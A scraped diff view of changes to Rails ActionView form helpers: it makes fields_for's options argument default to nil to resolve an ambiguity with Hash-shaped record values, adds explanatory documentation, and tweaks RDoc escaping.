|
+
# +fields_for+ tries to be smart about parameters, but it can be confused if both
|
2091
|
+
# name and value parameters are provided and the provided value has the shape of an
|
2092
|
+
# option Hash. To remove the ambiguity, explicitly pass an option Hash, even if empty.
|
2093
|
+
#
|
2094
|
+
# <%= form_for @person do |person_form| %>
|
2095
|
+
# ...
|
2096
|
+
# <%= fields_for :permission, @person.permission, {} do |permission_fields| %>
|
2097
|
+
# Admin?: <%= check_box_tag permission_fields.field_name(:admin), @person.permission[:admin] %>
|
2098
|
+
# <% end %>
|
2099
|
+
# ...
|
2100
|
+
# <% end %>
|
2101
|
+
#
|
2078
2102
|
# === Nested Attributes Examples
|
2079
2103
|
#
|
2080
2104
|
# When the object belonging to the current scope has a nested attribute
|
@@ -2255,8 +2279,9 @@ module ActionView
|
|
2255
2279
|
# to store the ID of the record. There are circumstances where this
|
2256
2280
|
# hidden field is not needed and you can pass <tt>include_id: false</tt>
|
2257
2281
|
# to prevent fields_for from rendering it automatically.
|
2258
|
-
def fields_for(record_name, record_object = nil, fields_options =
|
2259
|
-
fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
|
2282
|
+
def fields_for(record_name, record_object = nil, fields_options = nil, &block)
|
2283
|
+
fields_options, record_object = record_object, nil if fields_options.nil? && record_object.is_a?(Hash) && record_object.extractable_options?
|
2284
|
+
fields_options ||= {}
|
2260
2285
|
fields_options[:builder] ||= options[:builder]
|
2261
2286
|
fields_options[:namespace] = options[:namespace]
|
2262
2287
|
fields_options[:parent_builder] = self
|
@@ -2413,7 +2438,7 @@ module ActionView
|
|
2413
2438
|
# ...
|
2414
2439
|
# <% end %>
|
2415
2440
|
#
|
2416
|
-
# because parameter name repetition is precisely what Rails seeks to distinguish
|
2441
|
+
# because parameter name repetition is precisely what \Rails seeks to distinguish
|
2417
2442
|
# the elements of the array. For each item with a checked check box you
|
2418
2443
|
# get an extra ghost item with only that attribute, assigned to "0".
|
2419
2444
|
#
|
@@ -8,8 +8,9 @@ require "active_support/core_ext/array/wrap"
|
|
8
8
|
require "action_view/helpers/text_helper"
|
9
9
|
|
10
10
|
module ActionView
|
11
|
-
# = Action View Form Option Helpers
|
12
11
|
module Helpers # :nodoc:
|
12
|
+
# = Action View Form Option \Helpers
|
13
|
+
#
|
13
14
|
# Provides a number of methods for turning different kinds of containers into a set of option tags.
|
14
15
|
#
|
15
16
|
# The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
|